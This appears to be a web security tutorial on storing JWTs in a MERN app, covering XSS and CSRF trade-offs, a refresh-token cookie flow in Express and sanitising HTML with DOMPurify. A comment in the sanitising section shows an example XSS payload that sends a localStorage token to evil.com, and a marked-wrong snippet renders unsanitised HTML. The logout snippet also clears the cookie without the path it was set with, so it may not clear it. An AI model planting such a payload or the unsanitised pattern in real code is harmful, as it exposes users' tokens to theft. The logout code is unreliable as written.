Where you store a JWT in the browser determines your application’s exposure to two major web security vulnerabilities: XSS (Cross-Site Scripting) and CSRF (Cross-Site Request Forgery). localStorage is vulnerable to XSS — any JavaScript running on your page can read it, including malicious scripts injected through user content. HttpOnly cookies are immune to JavaScript access but vulnerable to CSRF if not protected. Understanding these trade-offs and implementing a refresh token pattern with proper cookie configuration is the difference between a secure and an insecure MERN authentication system.
Storage Option Comparison
| Storage | XSS Risk | CSRF Risk | Persistence | Verdict |
|---|---|---|---|---|
localStorage |
High — JS readable | None — not auto-sent | Until cleared | Simple but XSS risk |
sessionStorage |
High — JS readable | None | Tab session only | Better than localStorage, same XSS risk |
| Memory (JS variable) | None — not persistent | None | Page reload loses it | Safest but bad UX |
| HttpOnly Cookie | None — not JS readable | Medium — auto-sent | Configurable | Best for refresh token |
| HttpOnly + SameSite=Strict | None | None | Configurable | Best overall for refresh token |
localStorage is acceptable — but you should understand its risks. In a production application handling real users, the recommended pattern is: access token in memory (React state — lost on refresh, short-lived 15min) and refresh token in an HttpOnly cookie (not JS-accessible, longer-lived 30d). On app load, the client silently requests a new access token using the refresh token cookie — restoring the session without user interaction.SameSite=Strict cookie attribute blocks the cookie from being sent on cross-origin requests entirely, which eliminates CSRF. SameSite=Lax (the browser default) allows the cookie on top-level navigations but blocks it on cross-origin requests initiated by forms and XHR. For an API and SPA on different origins, use SameSite=None; Secure with a CSRF token or SameSite=Strict if they share the same domain.dangerouslySetInnerHTML without sanitising it, an attacker can inject a <script> tag that reads localStorage and sends the token to their server. Always sanitise HTML content before rendering it — use the DOMPurify library: { __html: DOMPurify.sanitize(post.body) }.The Refresh Token Pattern
Access Token: short-lived (15 min), stored in memory (React state)
Refresh Token: long-lived (30 days), stored in HttpOnly cookie
Flow:
Login:
1. POST /api/auth/login → server issues both tokens
2. Access token in response body → stored in React state (AuthContext)
3. Refresh token set as HttpOnly cookie by server
4. React uses access token for API calls
Access token expires (15 min later):
1. Protected API call returns 401
2. Axios interceptor catches 401
3. Interceptor calls POST /api/auth/refresh (cookie sent automatically)
4. Server verifies refresh token cookie → issues new access token
5. Interceptor retries the original request with the new access token
6. User never knows the token refreshed
Logout:
1. POST /api/auth/logout → server clears the refresh token cookie
2. React clears the access token from memory
3. User is logged out on all actions
Setting the Refresh Token Cookie in Express
// server/src/controllers/authController.js
const sendTokenResponse = (res, statusCode, user, message) => {
const accessToken = signAccessToken(user._id, user.role);
const refreshToken = signRefreshToken(user._id);
// Set refresh token as HttpOnly cookie
res.cookie('refreshToken', refreshToken, {
httpOnly: true, // not accessible via JavaScript
secure: process.env.NODE_ENV === 'production', // HTTPS only in production
sameSite: 'strict',
maxAge: 30 * 24 * 60 * 60 * 1000, // 30 days in milliseconds
path: '/api/auth', // only sent to /api/auth/* endpoints
});
// Return access token in response body (stored in memory by React)
res.status(statusCode).json({
success: true,
message,
token: accessToken, // short-lived access token
data: { _id: user._id, name: user.name, email: user.email, role: user.role },
});
};
// Refresh endpoint — issues new access token using refresh cookie
const refresh = asyncHandler(async (req, res) => {
const refreshToken = req.cookies.refreshToken;
if (!refreshToken) throw new AppError('No refresh token', 401);
const decoded = verifyRefreshToken(refreshToken); // throws if invalid/expired
const user = await User.findById(decoded.id);
if (!user) throw new AppError('User no longer exists', 401);
const newAccessToken = signAccessToken(user._id, user.role);
res.json({ success: true, token: newAccessToken });
});
// Logout — clear the cookie
const logout = asyncHandler(async (req, res) => {
res.cookie('refreshToken', '', {
httpOnly: true,
expires: new Date(0), // expire immediately
});
res.json({ success: true, message: 'Logged out successfully' });
});
XSS Protection — Sanitising User Content
// client — install DOMPurify
// npm install dompurify
import DOMPurify from 'dompurify';
// Render post body safely — sanitise before using dangerouslySetInnerHTML
function PostBody({ html }) {
const sanitised = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['p', 'h2', 'h3', 'ul', 'ol', 'li', 'a', 'strong', 'em', 'code', 'pre'],
ALLOWED_ATTR: ['href', 'class'],
FORBID_TAGS: ['script', 'style', 'iframe', 'object'],
});
return <div dangerouslySetInnerHTML={{ __html: sanitised }} />;
}
// If you do not sanitise:
// A post with body: <script>fetch('https://evil.com?token='+localStorage.getItem('token'))</script>
// Will run the script and exfiltrate the JWT to the attacker's server!
Common Mistakes
Mistake 1 — Using dangerouslySetInnerHTML without sanitising
❌ Wrong — user-submitted HTML rendered directly:
<div dangerouslySetInnerHTML={{ __html: post.body }} />
// Malicious post body can run arbitrary JavaScript — XSS attack
✅ Correct — always sanitise before rendering:
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(post.body) }} /> // ✓
Mistake 2 — Not setting secure: true on production cookies
❌ Wrong — refresh token cookie sent over HTTP in production:
res.cookie('refreshToken', token, { httpOnly: true });
// Cookie sent over plain HTTP → token visible in transit!
✅ Correct — secure in production:
res.cookie('refreshToken', token, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production', // ✓
sameSite: 'strict',
});
Mistake 3 — Forgetting to install cookie-parser in Express
❌ Wrong — req.cookies is undefined because cookie-parser is not used:
// Express does not parse cookies by default
const refreshToken = req.cookies.refreshToken; // undefined!
✅ Correct — add cookie-parser middleware:
npm install cookie-parser
const cookieParser = require('cookie-parser');
app.use(cookieParser()); // ✓ now req.cookies is populated
Quick Reference
| Task | Code |
|---|---|
| Set HttpOnly cookie | res.cookie('refreshToken', token, { httpOnly: true, secure: true, sameSite: 'strict' }) |
| Read cookie in Express | req.cookies.refreshToken (needs cookie-parser) |
| Clear cookie on logout | res.cookie('refreshToken', '', { httpOnly: true, expires: new Date(0) }) |
| Sanitise HTML output | DOMPurify.sanitize(html) |
| Refresh token endpoint | POST /api/auth/refresh — reads cookie, returns new access token |